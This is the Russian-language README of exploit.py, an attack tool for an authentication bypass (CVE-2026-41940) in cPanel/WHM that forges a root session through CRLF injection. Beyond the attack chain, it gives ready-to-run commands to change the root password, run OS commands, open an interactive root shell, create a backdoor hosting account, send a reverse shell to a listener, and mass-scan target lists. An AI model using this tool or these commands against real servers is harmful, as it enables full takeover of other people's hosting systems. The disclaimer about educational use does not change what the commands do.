CVE-2026-41940: Обход аутентификации cPanel/WHM (одиночная и множественная цель)

Дисклеймер: Этот документ и связанный с ним скрипт (exploit.py) предоставлены строго в образовательных целях, для исследований в области безопасности и авторизованного тестирования на проникновение. Не используйте это программное обеспечение против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Обзор

exploit.py — это скрипт, демонстрирующий уязвимость обхода аутентификации (CVE-2026-41940) в cPanel и WHM. Уязвимость позволяет неаутентифицированному атакующему внедрить root-сессию в кэш демона через дефект CRLF-инъекции, в конечном итоге предоставляя доступ к WHM на уровне root без необходимости действительных учетных данных.

Анализ уязвимости и порядок эксплуатации

Эксплойт использует уязвимость CRLF-инъекции (возврат каретки и перевод строки) в механизме обработки базовой аутентификации (Basic Authentication) в сочетании с дефектом распространения сессии. Скрипт автоматизирует атаку в четыре этапа:

Пре-авторизационная генерация сессии: подключается к публичным точкам входа (например, /login/ или /cgi/login.cgi) для получения базовой неаутентифицированной сессионной cookie (whostmgrsession).
CRLF-инъекция: отправляет специально сформированный заголовок Basic Authentication, содержащий полезную нагрузку в Base64, которая внедряет поля root-сессии напрямую в кэш сессий cpsrvd. Ответ сервера с перенаправлением раскрывает сгенерированный токен безопасности (cpsess).
Распространение сессии: необработанная сессионная cookie отправляется на аутентифицированную конечную точку WHM, что вызывает do_token_denied для распространения поддельной сессии в кэш демона — превращая её в действительную аутентифицированную сессию.
Проверка: обращается к ограниченным конечным точкам WHM API (например, /json-api/version) с использованием поддельной сессии для подтверждения доступа уровня root.

Предварительные требования

Python 3.x
библиотека requests

pip install requests

Использование

python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]

Аргументы

Выбор цели

Аргумент	Описание
`--target URL`	Один URL-адрес WHM (например, `https://target:2087`)
`--target-file FILE`	Файл с целями (по одному `ip:port` в строке) — автоматически включает режим проверки

Сетевые и основные параметры

Аргумент	Описание
`--threads N`	Параллельные потоки для режима множественных целей (по умолчанию: 10)
`--hostname HOST`	Переопределить заголовок Host — используйте, если автоматическое обнаружение даёт неверное имя хоста или завершается неудачей
`--timeout N`	Таймаут запроса в секундах (по умолчанию: 15)
`--retries N`	Количество повторов при сетевых ошибках (по умолчанию: 3)
`--cookie-name NAME`	Принудительно задать конкретное имя сессионной cookie (автоопределяется, если не указано)
`--no-verify`	Пропустить проверку на этапе 4 и продолжить в любом случае

Параметры эксплуатации (после обхода)

Аргумент	Описание
`--check`	Режим только проверки — проверка уязвимости без эксплуатации (автоматически включается с `--target-file`)
`--password PASS`	Изменить root-пароль на PASS
`--api FUNC`	Вызвать конкретную функцию WHM JSON-API
`--api-params K=V,...`	Параметры через запятую для `--api`
`--exec CMD`	Выполнить команду ОС через WHM `scripts/run_script` (запасной вариант: `rawexec`)
`--session`	Сгенерировать root-URL для входа в один клик — открывайте сразу, токен истекает быстро
`--shell`	Запустить интерактивную оболочку WHM (только для одной цели)
`--dump`	Вывести информацию о сервере: версию, учётные записи, DNS-зоны, привилегии
`--add-user USER PASS DOMAIN`	Создать новую хостинг-учётную запись cPanel
`--revshell LHOST LPORT`	Отправить bash reverse shell на ваш слушатель

Параметры вывода

Аргумент	Описание
`--output FILE`	Сохранить токен сессии и детали в JSON-файл

Примеры

# Проверить, уязвима ли цель
python exploit.py --target https://target:2087 --check

# Вывести информацию о сервере (версия, учётные записи, привилегии)
python exploit.py --target https://target:2087 --dump

# Сгенерировать root-URL для входа в один клик (вставить в браузер сразу)
python exploit.py --target https://target:2087 --session

# Выполнить команду
python exploit.py --target https://target:2087 --exec "id"

# Запустить интерактивную оболочку WHM
python exploit.py --target https://target:2087 --shell

# Изменить root-пароль
python exploit.py --target https://target:2087 --password 'NewP@ss!'

# Вызвать WHM API напрямую
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1

# Создать бэкдор-учётную запись cPanel
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com

# Отправить reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444

# Переопределить имя хоста (используйте, если автоматическое обнаружение не срабатывает)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check

# Сканировать несколько целей (режим только проверки)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20

# Сохранить сессию в файл
python exploit.py --target https://target:2087 --dump --output results.json

Команды интерактивной оболочки

При использовании --shell доступны следующие команды:

Команда	Описание
`api <function> [k=v ...]`	Вызвать функцию WHM JSON-API (например, `api version`)
`exec <command>`	Выполнить команду ОС через WHM (например, `exec id`)
`passwd <newpass>`	Изменить root-пароль
`dump`	Вывести информацию о сервере
`revshell <lhost> <lport>`	Отправить reverse shell
`add <user> <pass> <domain>`	Создать учётную запись cPanel
`save <path>`	Сохранить текущую сессию в файл
`exit` / `quit`	Выйти из оболочки

Напоминание

Немедленно установите последние обновления безопасности cPanel/WHM.

CVE-2026-41940

Популярное